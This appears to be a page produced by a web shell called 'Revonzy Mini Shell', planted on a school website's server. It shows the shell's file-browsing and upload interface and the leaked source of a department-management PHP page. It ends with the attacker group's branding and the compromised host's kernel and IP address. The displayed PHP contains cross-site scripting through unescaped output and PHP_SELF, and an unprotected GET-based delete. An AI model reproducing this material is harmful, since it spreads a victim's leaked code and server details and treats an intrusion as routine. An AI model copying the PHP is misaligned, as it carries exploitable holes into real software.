Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/www/spmsolapur.org/mis_software/bkp/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/www/spmsolapur.org/mis_software/bkp/department-master.php

 <?php
require_once('header.php');

require_once('header-left-section.php');

$flag				=	0;
	$success_flag		=	0;
	$class_title				=	"";

	if(isset($_POST['submit_btn']))
	{
		$class_title		=	$_POST['class_title'];
	
		if($flag==0)
		{	
			$db_id = $db->get_class_id_from_title($class_title);
		
			if($db_id == "")
			{
				if($db->save_class_title_master_details($class_title))
				{
					$success_flag	=	1;
					$class_title	=	"";
				}
			}
			else
			{
				$success_flag	=	2;
			}
		}
	}
	
	if(isset($_GET['delete_id']))
	{
		$delete_id	=	$_GET['delete_id'];
		
		$db->delete_class_title_master_data($delete_id);
	}
?> 
 <style>
.form-control
{
	background-color:#FFF !important;
}
h1
{
	text-align:center;
	color:#101566;
	font-weight:bold;
	
}
.content
{
	margin:5px;
}
.card
{
	margin:10px;
}
</style> 

  <div class="content-wrapper">
   <form method="POST" autocomplete="off" action="<?php echo $_SERVER['PHP_SELF'] ?>">
    <section class="content">
      <div class="row">
        <div class="col-md-12">
          <div class="card card-secondary">
            <div class="card-header">
              <h3 class="card-title">Department Master</h3>
			  </div>
			<?php
				if($success_flag==1)
				{
			?>
				
				<div class="alert alert-success">
				<span class="alert-link">Success! </span>Record added successfully.
				</div>	
			<?php
				}
			?>
					
			<?php
				if($success_flag==2)
				{
			?>
				
				<div class="alert alert-danger">
				<span class="alert-link">Failed! </span>This Record Already Exist.
				</div>	
			<?php
				}
			?>
					
          <div class="card-body">
            <div class="row">
		  <div class="form-group col-lg-6">
					<label> Department:</label>
					<input type="text" class="form-control" name="class_title" placeholder=" Enter Class Title." value="<?php echo $class_title; ?>" required autofocus />
			</div>
					
				<div class="form-group col-lg-6" style="text-align:center;">
					<label>-</label> <br />
					<button type="submit" class="btn btn-success" name="submit_btn">Add Record</button>
				</div>
			</div>
              <!-- /.col --
            </div>-->
            <!-- /.row -->
              </div>
              <!-- /.col -->
            </div>
            <!-- /.row -->
      
    </section>
	</form>					
    <!-- /.content -->
	   <div class="card">
        <div class="card-header">
          <h3 class="card-title">Department Master Report</h3>
		</div>
        <div class="card-body p-0">
          <table class="table table-striped projects">
              <thead>
                  <tr>
                      <th style="width: 1%">Sr.No</th>
					  <th style="width: 20%"> Department Code</th>
                      <th style="width: 20%"> Department</th>
                     
                      <th style="width: 50%">  </th>
                  </tr>
              </thead>
              <tbody>
             <?php
				
				$total_amount	=	0;
									
				$data	=	array();
				
				$data	=	$db-> get_all_class_title_master_data();
				
				if(!empty($data))
				{
					$counter	=	0;
					
					foreach($data as $record)
					{
						$res_id				    =	$data[$counter][0];
						$res_class_title 		=	$data[$counter][1];
						$res_date			   	=	$data[$counter][2];
			?>
                  <tr>
                       <td><?php echo $counter+1; ?></td>
						<td><?php echo $res_id; ?></td>
						<td style="text-align:left;"><?php echo $res_class_title; ?></td>
                        <td class="project-actions text-right">
                          
                          <a class="btn btn-info btn-sm" href="edit-class-master.php?edit_id=<?php echo $res_id; ?>">
                              <i class="fas fa-pencil-alt">
                              </i>
                              Edit
                          </a>
                          <a class="btn btn-danger btn-sm" href="<?php echo $_SERVER['PHP_SELF']."?delete_id=".$res_id; ?>" onclick="return confirm('Are you Sure to Delete This record?');" >
                              <i class="fas fa-trash">
                              </i>
                              Delete
                          </a>
                      </td>
                  </tr>
				  <?php
					
						$counter++;
					
						}
				
					}
					else
					{
					?>
					<tr>
                       <td colspan='4'>Department Data Not Available<td>
					</tr>
					<?php
						
					}
				?>
              </tbody>
          </table>
        </div>
        <!-- /.card-body -->
      </div>
      <!-- /.card -->
  </div>
  </div>
  </section>
  <?php
require_once('footer.php');
?> 

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4